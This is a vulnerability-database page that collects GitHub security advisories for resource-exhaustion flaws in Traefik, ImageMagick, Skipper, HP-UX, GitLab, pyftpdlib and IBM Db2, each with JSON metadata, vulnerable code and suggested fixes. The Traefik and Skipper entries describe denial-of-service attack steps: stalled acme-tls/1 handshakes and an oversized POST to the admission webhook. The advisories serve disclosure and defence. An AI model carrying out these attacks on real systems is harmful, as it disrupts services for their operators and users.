Traefik's ACME TLS-ALPN fast path lacks timeouts and close on handshake stall
Details

Impact

There is a potential vulnerability in Traefik ACME TLS certificates' automatic generation: the ACME TLS-ALPN fast path can allow unauthenticated clients to tie up goroutines and file descriptors indefinitely when the ACME TLS challenge is enabled.

A malicious client can open many connections, send a minimal ClientHello with acme-tls/1, then stop responding, leading to denial of service of the entrypoint.

Patches

  • https://github.com/traefik/traefik/releases/tag/v2.11.35
  • https://github.com/traefik/traefik/releases/tag/v3.6.7

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description # \[Security\] ACME TLS-ALPN fast path lacks timeouts and close on handshake stall Dear Traefik security team, We believe we have identified a resource-exhaustion issue in the ACME TLS-ALPN fast path that can allow unauthenticated clients to tie up goroutines and file descriptors indefinitely when the ACME TLS challenge is enabled. ## Summary - Affected code: `pkg/server/router/tcp/router.go` (ACME TLS-ALPN handling). - When a ClientHello advertises `acme-tls/1`, Traefik intercepts it and calls `tls.Server(...).Handshake()` without any read/write deadlines and without closing the connection afterward. - Immediately before this branch, existing deadlines set by the entrypoint are cleared. - A client that sends the ALPN marker and then stops responding can keep the goroutine and socket open indefinitely, potentially exhausting the entrypoint under load. - Exposure is limited to entrypoints where the ACME TLS-ALPN challenge is enabled and ACME bypass is not allowed. ## Relevant snippets ```143:171:pkg/server/router/tcp/router.go // Deadlines are cleared before protocol dispatch if err := conn.SetDeadline(time.Time{}); err != nil { log.Error().Err(err).Msg("Error while setting deadline") } // ACME TLS-ALPN fast path if !r.acmeTLSPassthrough && slices.Contains(hello.protos, tlsalpn01.ACMETLS1Protocol) { r.acmeTLSALPNHandler().ServeTCP(r.GetConn(conn, hello.peeked)) return }

```224:226:pkg/server/router/tcp/router.go
// Handler invoked by the branch above
return tcp.HandlerFunc(func(conn tcp.WriteCloser) {
    _ = tls.Server(conn, r.httpsTLSConfig).Handshake()
})
## Impact - Each stalled handshake consumes a goroutine and FD with no timeout and no server-side close. - A malicious client can open many connections, send a minimal ClientHello with `acme-tls/1`, then stop responding, leading to denial of service of the entrypoint. - Normal HTTPS handling uses `http.Server` timeouts; this bespoke path bypasses them. ## Conditions for exploitation - ACME TLS-ALPN challenge enabled (default when configured). - `allowACMEByPass` disabled for the entrypoint (the default when ACME TLS challenge is handled by Traefik). ## CWE - CWE-400: Uncontrolled Resource Consumption. ## Proposed fix (illustrative)
@@ func (r *Router) acmeTLSALPNHandler() tcp.Handler {
-    return tcp.HandlerFunc(func(conn tcp.WriteCloser) {
-        _ = tls.Server(conn, r.httpsTLSConfig).Handshake()
-    })
+    return tcp.HandlerFunc(func(conn tcp.WriteCloser) {
+        // Ensure the handshake cannot block indefinitely and always closes the socket.
+        _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
+        _ = conn.SetWriteDeadline(time.Now().Add(10 * time.Second))
+
+        tlsConn := tls.Server(conn, r.httpsTLSConfig)
+        _ = tlsConn.Handshake()
+        _ = tlsConn.Close() // close regardless of handshake outcome
+    })
 }
Alternatively, route ACME TLS-ALPN through the existing `tcp.TLSHandler`/HTTP server path so the configured timeouts and lifecycle management apply automatically. ## CVSS v3.1 (estimate) - Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Base score: 7.5 (High) - Rationale: Network-only, no auth/user interaction required; impact is service availability via resource exhaustion; no confidentiality or integrity impact. Please let us know if you would like a PoC or further details. We have not made any code changes in this report. Let us know if you have any questions or need clarification\! Best wishes, Pavel Kohout Aisle Research
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.11.34"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.35"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22045"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-15T22:58:23Z",
    "nvd_published_at": "2026-01-15T23:15:51Z",
    "severity": "MODERATE"
  },
  "details": "## Impact\n\nThere is a potential vulnerability in Traefik ACME TLS certificates\u0027 automatic generation: the ACME TLS-ALPN fast path can allow unauthenticated clients to tie up goroutines and file descriptors indefinitely when the ACME TLS challenge is enabled.\n\nA malicious client can open many connections, send a minimal ClientHello with `acme-tls/1`, then stop responding, leading to denial of service of the entrypoint.  \n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.35\n- https://github.com/traefik/traefik/releases/tag/v3.6.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# \\[Security\\] ACME TLS-ALPN fast path lacks timeouts and close on handshake stall\n\nDear Traefik security team,\n\nWe believe we have identified a resource-exhaustion issue in the ACME TLS-ALPN fast path that can allow unauthenticated clients to tie up goroutines and file descriptors indefinitely when the ACME TLS challenge is enabled.\n\n## Summary\n\n- Affected code: `pkg/server/router/tcp/router.go` (ACME TLS-ALPN handling).  \n- When a ClientHello advertises `acme-tls/1`, Traefik intercepts it and calls `tls.Server(...).Handshake()` without any read/write deadlines and without closing the connection afterward.  \n- Immediately before this branch, existing deadlines set by the entrypoint are cleared.  \n- A client that sends the ALPN marker and then stops responding can keep the goroutine and socket open indefinitely, potentially exhausting the entrypoint under load.  \n- Exposure is limited to entrypoints where the ACME TLS-ALPN challenge is enabled and ACME bypass is not allowed.\n\n## Relevant snippets\n```143:171:pkg/server/router/tcp/router.go\n// Deadlines are cleared before protocol dispatch\nif err := conn.SetDeadline(time.Time{}); err != nil {\n    log.Error().Err(err).Msg(\"Error while setting deadline\")\n}\n\n// ACME TLS-ALPN fast path\nif !r.acmeTLSPassthrough \u0026\u0026 slices.Contains(hello.protos, tlsalpn01.ACMETLS1Protocol) {\n    r.acmeTLSALPNHandler().ServeTCP(r.GetConn(conn, hello.peeked))\n    return\n}\n```\n\n```224:226:pkg/server/router/tcp/router.go\n// Handler invoked by the branch above\nreturn tcp.HandlerFunc(func(conn tcp.WriteCloser) {\n    _ = tls.Server(conn, r.httpsTLSConfig).Handshake()\n})\n```\n\n## Impact\n\n- Each stalled handshake consumes a goroutine and FD with no timeout and no server-side close.  \n- A malicious client can open many connections, send a minimal ClientHello with `acme-tls/1`, then stop responding, leading to denial of service of the entrypoint.  \n- Normal HTTPS handling uses `http.Server` timeouts; this bespoke path bypasses them.\n\n## Conditions for exploitation\n\n- ACME TLS-ALPN challenge enabled (default when configured).  \n- `allowACMEByPass` disabled for the entrypoint (the default when ACME TLS challenge is handled by Traefik).\n\n## CWE\n\n- CWE-400: Uncontrolled Resource Consumption.\n\n## Proposed fix (illustrative)\n\n```\n@@ func (r *Router) acmeTLSALPNHandler() tcp.Handler {\n-    return tcp.HandlerFunc(func(conn tcp.WriteCloser) {\n-        _ = tls.Server(conn, r.httpsTLSConfig).Handshake()\n-    })\n+    return tcp.HandlerFunc(func(conn tcp.WriteCloser) {\n+        // Ensure the handshake cannot block indefinitely and always closes the socket.\n+        _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))\n+        _ = conn.SetWriteDeadline(time.Now().Add(10 * time.Second))\n+\n+        tlsConn := tls.Server(conn, r.httpsTLSConfig)\n+        _ = tlsConn.Handshake()\n+        _ = tlsConn.Close() // close regardless of handshake outcome\n+    })\n }\n```\n\nAlternatively, route ACME TLS-ALPN through the existing `tcp.TLSHandler`/HTTP server path so the configured timeouts and lifecycle management apply automatically.\n\n## CVSS v3.1 (estimate)\n\n- Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H  \n- Base score: 7.5 (High)  \n- Rationale: Network-only, no auth/user interaction required; impact is service availability via resource exhaustion; no confidentiality or integrity impact.\n\nPlease let us know if you would like a PoC or further details. We have not made any code changes in this report.\n\nLet us know if you have any questions or need clarification\\!\n\nBest wishes,  \nPavel Kohout  \n Aisle Research  \n\u003c/details\u003e",
  "id": "GHSA-cwjm-3f7h-9hwq",
  "modified": "2026-01-16T15:20:43Z",
  "published": "2026-01-15T22:58:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-cwjm-3f7h-9hwq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22045"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/e9f3089e9045812bcf1b410a9d40568917b26c3d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Traefik\u0027s ACME TLS-ALPN fast path lacks timeouts and close on handshake stall"
}

GHSA-CWPJ-H54C-XJPX

Vulnerability from github – Published: 2026-05-18 17:53 – Updated: 2026-06-11 13:30
VLAI
Summary
ImageMagick: Policy Bypass in PSD decoder
Details

Due to a missing check in the PSD decoder it would be possible to bypass the list-length resource policy when decoding a PSD image. Other security limits would still apply.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-OpenMP-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.13.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45031"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T17:53:18Z",
    "nvd_published_at": "2026-06-10T22:16:57Z",
    "severity": "MODERATE"
  },
  "details": "Due to a missing check in the PSD decoder it would be possible to bypass the `list-length` resource policy when decoding a PSD image. Other security limits would still apply.",
  "id": "GHSA-cwpj-h54c-xjpx",
  "modified": "2026-06-11T13:30:36Z",
  "published": "2026-05-18T17:53:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cwpj-h54c-xjpx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45031"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ImageMagick/ImageMagick"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageMagick: Policy Bypass in PSD decoder"
}

GHSA-CWXQ-RC9X-2JVV

Vulnerability from github – Published: 2026-07-17 18:14 – Updated: 2026-07-17 18:14
VLAI
Summary
Skipper: Unbounded Request Body Read in Admission Webhook Causes Memory Exhaustion DoS
Details

Summary

The Kubernetes admission webhook handler reads the entire request body using io.ReadAll(r.Body) without any size limit. Any client that can reach the webhook port within the cluster can send a multi-GB payload, causing the skipper process to exhaust memory and be OOM-killed. This disrupts all Kubernetes admission control, potentially blocking all pod creation and updates.

Vulnerable Code

// dataclients/kubernetes/admission/admission.go:76
body, err := io.ReadAll(r.Body)  // <-- NO SIZE LIMIT
if err != nil {
    log.Errorf("Failed to read request: %v", err)
    w.WriteHeader(http.StatusInternalServerError)
    invalidRequests.WithLabelValues(admitterName).Inc()
    return
}

var review admissionReview
err = json.Unmarshal(body, &review)

For comparison, the OPA filter has a body size limit:

// filters/openpolicyagent/openpolicyagent.go:68-70
const DefaultMaxRequestBodySize = 1 << 20 // 1MB

// OPA uses a bufferedBodyReader with size limits

Attack Path

  1. Attacker identifies the admission webhook endpoint (default: :9443/admission or configured path)
  2. Attacker sends: POST /admission HTTP/1.1, Content-Type: application/json with a multi-GB request body
  3. io.ReadAll(r.Body) allocates unbounded memory for the entire body
  4. Skipper process is OOM-killed by the Kubernetes kubelet

Permission Boundary Analysis

  • Attacker: Any client with network access to the admission webhook port within the Kubernetes cluster
  • Boundary crossed: Memory safety — unbounded allocation from attacker-controlled input
  • Preconditions: Admission webhook endpoint must be network-reachable (default Kubernetes deployment exposes it within cluster network)
  • Comparison: OPA filter has DefaultMaxRequestBodySize (1MB) and semaphore-based memory limit; admission handler has neither

Evidence

File Lines Description
dataclients/kubernetes/admission/admission.go 76 io.ReadAll(r.Body) without size limit
filters/openpolicyagent/openpolicyagent.go 68-70 OPA filter has DefaultMaxRequestBodySize = 1MB
filters/openpolicyagent/openpolicyagent.go 1333-1336 OPA uses bufferedBodyReader with size limits

Tests

  • dataclients/kubernetes/admission/admission_test.go exists but does not test body size limits

Impact

The admission webhook handler reads the entire request body using io.ReadAll(r.Body) without a size limit. An attacker with in-cluster network access and a valid Kubernetes client certificate can send a multi-GB payload to the webhook endpoint, causing the skipper process to exhaust memory and be OOM-killed. This disrupts admission control for Ingress and RouteGroup resources until the process is automatically restarted by the kubelet.

Scope of impact: Ingress and RouteGroup admission only — not pod creation or other admission controllers.

Recovery: Kubernetes automatically restarts the OOM-killed process, limiting downtime.

Prerequisites: (1) In-cluster network access to the webhook port, (2) valid Kubernetes client certificate.

Mitigation

  1. Add http.MaxBytesReader or equivalent body size limit before io.ReadAll
  2. Follow the OPA filter pattern: define DefaultMaxRequestBodySize and use a buffered reader with size limits
  3. Add a configurable --admission-max-body-size flag
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zalando/skipper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.26.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54247"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-17T18:14:08Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Kubernetes admission webhook handler reads the entire request body using `io.ReadAll(r.Body)` without any size limit. Any client that can reach the webhook port within the cluster can send a multi-GB payload, causing the skipper process to exhaust memory and be OOM-killed. This disrupts all Kubernetes admission control, potentially blocking all pod creation and updates.\n\n## Vulnerable Code\n\n```go\n// dataclients/kubernetes/admission/admission.go:76\nbody, err := io.ReadAll(r.Body)  // \u003c-- NO SIZE LIMIT\nif err != nil {\n    log.Errorf(\"Failed to read request: %v\", err)\n    w.WriteHeader(http.StatusInternalServerError)\n    invalidRequests.WithLabelValues(admitterName).Inc()\n    return\n}\n\nvar review admissionReview\nerr = json.Unmarshal(body, \u0026review)\n```\n\nFor comparison, the OPA filter has a body size limit:\n\n```go\n// filters/openpolicyagent/openpolicyagent.go:68-70\nconst DefaultMaxRequestBodySize = 1 \u003c\u003c 20 // 1MB\n\n// OPA uses a bufferedBodyReader with size limits\n```\n\n## Attack Path\n\n1. Attacker identifies the admission webhook endpoint (default: `:9443/admission` or configured path)\n2. Attacker sends: `POST /admission HTTP/1.1, Content-Type: application/json` with a multi-GB request body\n3. `io.ReadAll(r.Body)` allocates unbounded memory for the entire body\n4. Skipper process is OOM-killed by the Kubernetes kubelet\n\n## Permission Boundary Analysis\n\n- **Attacker**: Any client with network access to the admission webhook port within the Kubernetes cluster\n- **Boundary crossed**: Memory safety \u2014 unbounded allocation from attacker-controlled input\n- **Preconditions**: Admission webhook endpoint must be network-reachable (default Kubernetes deployment exposes it within cluster network)\n- **Comparison**: OPA filter has `DefaultMaxRequestBodySize` (1MB) and semaphore-based memory limit; admission handler has neither\n\n## Evidence\n\n| File | Lines | Description |\n|------|-------|-------------|\n| `dataclients/kubernetes/admission/admission.go` | 76 | `io.ReadAll(r.Body)` without size limit |\n| `filters/openpolicyagent/openpolicyagent.go` | 68-70 | OPA filter has `DefaultMaxRequestBodySize` = 1MB |\n| `filters/openpolicyagent/openpolicyagent.go` | 1333-1336 | OPA uses `bufferedBodyReader` with size limits |\n\n## Tests\n\n- `dataclients/kubernetes/admission/admission_test.go` exists but **does not test body size limits**\n\n## Impact\n\nThe admission webhook handler reads the entire request body using io.ReadAll(r.Body) without a size limit. An attacker with in-cluster network access and a valid Kubernetes client certificate can send a multi-GB payload to the webhook endpoint, causing the skipper process to exhaust memory and be OOM-killed. This disrupts admission control for Ingress and RouteGroup resources until the process is automatically restarted by the kubelet.\n\nScope of impact: Ingress and RouteGroup admission only \u2014 not pod creation or other admission controllers.\n\nRecovery: Kubernetes automatically restarts the OOM-killed process, limiting downtime.\n\nPrerequisites: (1) In-cluster network access to the webhook port, (2) valid Kubernetes client certificate.\n\n## Mitigation\n\n1. Add `http.MaxBytesReader` or equivalent body size limit before `io.ReadAll`\n2. Follow the OPA filter pattern: define `DefaultMaxRequestBodySize` and use a buffered reader with size limits\n3. Add a configurable `--admission-max-body-size` flag",
  "id": "GHSA-cwxq-rc9x-2jvv",
  "modified": "2026-07-17T18:14:08Z",
  "published": "2026-07-17T18:14:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/security/advisories/GHSA-cwxq-rc9x-2jvv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zalando/skipper"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/releases/tag/v0.26.22"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Skipper: Unbounded Request Body Read in Admission Webhook Causes Memory Exhaustion DoS"
}

GHSA-CX35-FRJ6-3WJX

Vulnerability from github – Published: 2023-06-16 21:30 – Updated: 2024-04-04 04:55
VLAI
Details

HP-UX could be exploited locally to create a Denial of Service (DoS) when any physical interface is configured with IPv6/inet6.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-30903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-16T21:15:09Z",
    "severity": "MODERATE"
  },
  "details": "HP-UX could be exploited locally to create a Denial of Service (DoS) when any physical interface is configured with IPv6/inet6.  ",
  "id": "GHSA-cx35-frj6-3wjx",
  "modified": "2024-04-04T04:55:26Z",
  "published": "2023-06-16T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30903"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US\u0026docId=hpesbux04474en_us"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CX4G-HR74-M89M

Vulnerability from github – Published: 2026-06-11 12:32 – Updated: 2026-06-11 12:32
VLAI
Details

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 12.10 before 18.10.8, 18.11 before 18.11.5, and 19.0 before 19.0.2 that under certain conditions could have allowed an unauthenticated user to cause denial of service due to improper input validation in the API request parsing middleware.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-7250"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-11T12:16:32Z",
    "severity": "HIGH"
  },
  "details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 12.10 before 18.10.8, 18.11 before 18.11.5, and 19.0 before 19.0.2 that under certain conditions could have allowed an unauthenticated user to cause denial of service due to improper input validation in the API request parsing middleware.",
  "id": "GHSA-cx4g-hr74-m89m",
  "modified": "2026-06-11T12:32:45Z",
  "published": "2026-06-11T12:32:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7250"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3671995"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/releases/2026/06/10/patch-release-gitlab-19-0-2-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/598311"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CX59-CP6C-9FR8

Vulnerability from github – Published: 2022-05-01 18:45 – Updated: 2024-10-21 21:02
VLAI
Summary
pyftpdlib vulnerable to allocation of resources without limits
Details

The ftp_STOU function in FTPServer.py in pyftpdlib before 0.2.0 does not limit the number of attempts to discover a unique filename, which might allow remote authenticated users to cause a denial of service via a STOU command.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyftpdlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2007-6740"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-08T22:33:05Z",
    "nvd_published_at": "2010-10-19T20:00:00Z",
    "severity": "HIGH"
  },
  "details": "The ftp_STOU function in FTPServer.py in pyftpdlib before 0.2.0 does not limit the number of attempts to discover a unique filename, which might allow remote authenticated users to cause a denial of service via a STOU command.",
  "id": "GHSA-cx59-cp6c-9fr8",
  "modified": "2024-10-21T21:02:01Z",
  "published": "2022-05-01T18:45:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6740"
    },
    {
      "type": "WEB",
      "url": "https://github.com/giampaolo/pyftpdlib/issues/25"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-cx59-cp6c-9fr8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/giampaolo/pyftpdlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyftpdlib/PYSEC-2010-24.yaml"
    },
    {
      "type": "WEB",
      "url": "http://code.google.com/p/pyftpdlib/issues/detail?id=25"
    },
    {
      "type": "WEB",
      "url": "http://code.google.com/p/pyftpdlib/source/browse/trunk/HISTORY"
    },
    {
      "type": "WEB",
      "url": "http://code.google.com/p/pyftpdlib/source/detail?r=37"
    },
    {
      "type": "WEB",
      "url": "http://code.google.com/p/pyftpdlib/source/diff?spec=svn37\u0026r=37\u0026format=side\u0026path=/trunk/pyftpdlib/FTPServer.py"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pyftpdlib vulnerable to allocation of resources without limits"
}

GHSA-CX5F-75FV-W3C7

Vulnerability from github – Published: 2024-12-07 15:34 – Updated: 2024-12-07 15:34
VLAI
Details

IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 is vulnerable to a denial of service as the server may crash under certain conditions with a specially crafted query.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-41762"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-07T14:15:17Z",
    "severity": "MODERATE"
  },
  "details": "IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 is vulnerable to a denial of service as the server may crash under certain conditions with a specially crafted query.",
  "id": "GHSA-cx5f-75fv-w3c7",
  "modified": "2024-12-07T15:34:10Z",
  "published": "2024-12-07T15:34:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41762"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7175946"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Mitigation
Architecture and Design

